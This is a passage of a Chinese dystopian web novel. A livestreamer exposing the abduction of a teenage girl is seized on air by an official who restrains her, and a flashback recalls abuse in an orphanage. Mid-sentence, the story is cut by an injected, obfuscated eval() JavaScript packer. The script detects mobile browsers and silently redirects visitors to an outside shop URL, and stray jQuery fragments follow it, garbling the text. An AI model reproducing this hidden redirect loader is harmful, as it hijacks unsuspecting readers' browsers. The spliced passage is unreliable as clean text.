“墨渊,你想到哪去了,我其实是想把这淤青说成是‘鬼手印’啦。”她吐了吐舌头,语气轻松。
墨渊便也没再多想,将她带到了公司的线下直播室里,简单讲解了器材的使用。
待他离开后,姜原轻轻反锁了房门,眼神坚毅。
她登上账号,握住鼠标的手微微颤抖,指尖冰凉,连她自己都说不清是在恐惧还是激动。
10:03
在线人数0。
10:07
在线人数3000+。
弹幕瀑布一样刷——
【失踪人口回归?】
【脸怎么了?被家暴?】
【标题不是谈心吗?谈什么?】
10:12
在线人数50000+。
她深吸一口气,“今天不讲故事,说点心里话。”
镜头里,眼尾青紫在补光灯下愈发刺眼。
“一个小时前,我在地铁二号线,亲眼看到一个女孩,穿着校服,看起来只有十几岁的样子,她——
当众发情了。”
弹幕瞬间炸成红色。
“……对,后面就是你们猜到的那样,看来大家也都见识过,至少是听说过这种事情了。”
她低头缓了缓气,此时的在线人数已经飙到了12万,是她过去从未达到过的热度。
直播室外传来第一声拍门,极轻,像试探,紧接着是第二声、第三声——砰!砰!
墨渊的嗓音隔着门板撕进来,“小缘!把麦关了!”
她没回头,只把水杯往镜头外推了推,水面荡出的涟漪直接晃到观众眼里。
10:18
在线人数300,000。
系统提示变成刺目的橙色:【检测到高风险关键词,内容将被实时监控】。
她盯着那行灰字,胸口像被钝器顶了一下,却仍继续说了下去。
“那个男人,把女孩带走的那个人,看起来已经四十多岁了,秃顶,一嘴的黄牙,手很脏……我怀疑他早上出门的时候没有洗手。”她的声音开始发抖,“但是他的力气倒是不小,这里——”她指了指自己的眼角,“只用了一拳。”
“呼……”她低头吁了口气,有些自嘲得笑了笑,“我有点多管闲事了。我知道为什么没人敢提这种事,因为天谕人是‘不可妄议’的,谁碰谁死。”
系统提示变成刺目的橙色:【警告:正在违规讨论违禁话题,请立即整改】
她像没看见,声音却更锋利,“一个十几岁的没结婚的小姑娘……你们知道她跟我说的第一句话是什么吗?”
砰——
整扇门都在震。墨渊的声音已经劈叉,“人事!电闸!给我拉闸!”
人事小姑娘高跟鞋一路狂奔,带着哭腔:“瀛总,总闸在物业负三楼,要刷这幢公寓的主管卡……”
“操!”墨渊爆了粗口,手指在手机屏幕上划出残影,把直播间房号甩进公司大群,连艾特三次——
【全部停活!举报涉赌!快!】
10:21
在线人数500000+。
弹幕里突然刷出一片蓝色超链接:【超人夫妇正在连麦】。
天谕为了向莹辉宣传AO恋的美好,培植了一大批网红账号,而超人夫妇就是其中咖位最顶尖粉丝最多的头部,账号由一对AO夫妻经营,内容基本以日常生活养娃虐狗vlog为主。
下一秒,系统直接置顶:【官方特邀嘉宾@超人夫妇进入直播间】。
镜头画面被切成三格,左侧出现一对面容精致的夫妻,怀里抱着幼犬,背后是一整面奖状墙。
女人率先开口,声音甜到发腻,“小丫头,造谣可是要负法律责任哦。”
弹幕瞬间被粉丝控评:
【别把贫穷的苦硬说成改造!】
【据我所知,改造完的新O不是都被送到天谕星了吗?主播是怎么遇到的?】
……
墨渊盯着屏幕,眼底血丝炸开。
举报反馈一条条弹回——
【平台驳回:内容未涉赌。】
【平台驳回:证据不足。】
……
运营部小伙嗓子发干:“瀛总……直播间破百万了,再闹下去,整个公司都得陪葬……”
办公室中,每个人都在内心无声地感慨着姜原的勇猛,在全网的见证下进行一场“华丽的自杀”,真不知该说她是疯子还是傻子。
10:24
在线人数1200000+。
此时的公屏已经吵得不可开交。
【炒作狗去死!】
【脸烂成这样活该被男人打】
……
一条“跳江没死透又来博眼球”刚刷过去,墨渊吐出一口气,突然往地上猛啐了一口,“淦它丫的,老子今天也勇敢一会,你们都给我下场去支持小缘,没胆的就在公屏里骂那两个变态,有胆的跟我匿名上麦,我就不信了,咱们这些个顶天立地堂堂正正的人,还能让两个狗汉奸欺负了去!”
他气势汹汹地冲进了直播间,才刚点开上麦申请,公司的前台就一路小跑冲进了办公室。
“瀛总,不好了,育生署的人来了!”
***
程少简带人用铁锤抡开直播室大门的时候,姜原正说到最激昂的一句——
“育生署,你们把我们好好的莹辉人逼成牲畜,良心不会痛吗?”
她没料到,育生署真的越过网线找她来了。
屋里隔音太好,直到监视器小窗里闪过那张冷脸,她才后知后觉地头皮发麻。
程少简扫了一眼直播公屏,满屏都在刷“姐姐别怂”“干他”,仿佛他才是不受待见的反派。
呵呵……
这确实可以算是“爱神计划”的一次不小的危机,却不是他的危机。
他低笑一声,两步逼近,用身体堵死她的退路,左手在桌下攥住她腕骨,右手慢条斯理地拨开她额前碎发。
“小原——”尾音像融化的糖,又黏又冷,“又在瞎闹什么?”
身后被卡死在了桌子台面,这样的身位,如果想要站起身,只要稍一前倾,就会直接跌进他怀里。
她不敢动。
姜原被迫仰头,撞进那双深不见底的眼,轻轻勾起嘴角,“狗官,你不会是怕了吗?”
程少简的唇角弧度更深,身体贴得更近,几乎贴到她耳廓,“亲爱的,想引起我的注意,也不要玩的这么过火吧?”
他的语气亲昵又黏腻,眼神深情又直白,傻子都能看出二人的关系,直播间直接炸开了锅。
姜原知道,程少简是在从根源上破坏她的身份,如果反抗天谕人的斗士变成了育生署主任的恋人,那么这场反抗便彻彻底底沦为了一场闹剧。
桌下的手越箍越紧,像铁钳。她疼得抽气,只好用另一只手去用力推搡他,却像推一堵墙。
“放开!”她用尽力气怒吼,声音却因疼痛发软,听着倒像是撒娇。她抬腿狠踢,脚尖却撞上铁板般的胫骨,疼得自己先哆嗦。
果然,她还是低估了alpha的武力值。
镜头拍不到桌下,几十万观众只看见他撩动她的碎发,然后她伸出手欲拒还迎,又软软地骂了句“放开”。若是某个cp组合的直播画面,估计此刻满公屏都是“嗑死
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16747057|189957||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我了”,只可惜,此刻公屏上密密麻麻的,全部都是国骂。
观众感觉自己像条狗一样被这两个育生署的人给耍了。
然而,姜原并不愿意就此认输。
她还有嘴。
“程少简,你放开我,我跟你没有关系!”
程少简也看到了她的嘴。
他右手猛地一提,像拎猫后颈,把她整个人从椅子上拎得双脚离地。
“啊——唔——”
声音被掐断,嘴没用了。
当一只不是太饿的苍鹰捉住了白兔,它更愿意一点点地慢慢享用。
白兔奋力地蹬腿,却始终毫无办法,渐渐地被吃尽了全部气息。
几近昏聩。
最后一刻,苍鹰扣下了镜头,电源熄灭。
然后轻轻掸掉身上散落的兔毛,独自飞走了。
屋里只剩急促的喘息。
门外,墨渊和全公司的人正被警员看管着,鸦雀无声。一个警员上前小心翼翼地询问他,“主任,这些人要怎么处理?”
程少简的视线逡巡了一圈,最后落在墨渊的身上。
这个男人一直在盯着自己,眼神发狠,看起来想要吃了他。
他自上而下打量着他。
对方竟也毫无畏惧打量起他来,甚至目光最终停在了他身上的某个位置。
让他的内心涌出一股无名火。
他知道自己是个怪物,所以主观上从不排斥有一天能够去享受作为一个正常alpha的□□欢愉,如果有条件的话。
但是,他并不接受让自己做出改变的是姜原。
为什么是这样的女人?为什么偏偏是刚刚?为什么偏偏是她?
他不想面对这个事,但墨渊的目光已经刺破了他。
“老板带走,其他人不用管。”
***
墨渊被押进黑色厢车,尾灯一闪,消失在街角。
办公室重归寂静,十几个人面面相觑,却没人敢走进那间被砸坏了大门的直播室,好像那间屋子内根本没有活人。
房间内,巨大的补光灯亮得晃眼,姜原缩在椅子里,手背全是泪。
她感受到了一种强烈而悠长的悲伤,这悲伤很熟悉,导致她始终止不住泪水。
绝不仅仅只是因为这次事件。
她甚至开始怀疑:或许,她真是自己跳的横江。
脑中突然闪过一些零碎的记忆,她看到一双粗糙的大手正举起一个灰绿色的破铁盆中向着她倾倒,盆中的污水混着泥沙,时间被无限放慢,以至于她能看清每一粒泥沙在水中翻滚的轨迹。
“哗——”刺骨的凉意穿透单薄的衣衫,污水顺着发丝滴落,在青白瓷砖上溅开一朵朵污浊的花。空气中弥漫着厕所特有的消毒水与臭气。
“能不能好好洗?能不能洗干净?能不能洗快些?!”男人手中的扫帚把带着风声落下,扫把头上的铁箍环砸中肩膀,连皮带肉,刮出长长的一道血口。
“啊——能,能,老师我错了,我这就洗,这就洗——”她抱着身体缩在墙角,手肘蹭到便池边缘黏腻的污垢,只希望落在身上的抽击可以停下来。
“和旭育幼中心……”回忆中断,姜原喃喃自语,想起一个名字。
她迫不及待扒开自己的衣袖,向左边肩膀看去,只见上面赫然一道长约五公分的伤疤。
原来,她确实是个孤儿,是在育幼中心长大的,这一点程少简并没有骗她。
心下为这一事实隐隐发酸,可如今社会中能被亲人养育长大的人本就不多。不管怎样,那里承载着她的前半生,她有必要重新回到那个地方,看看能不能有什么新发现。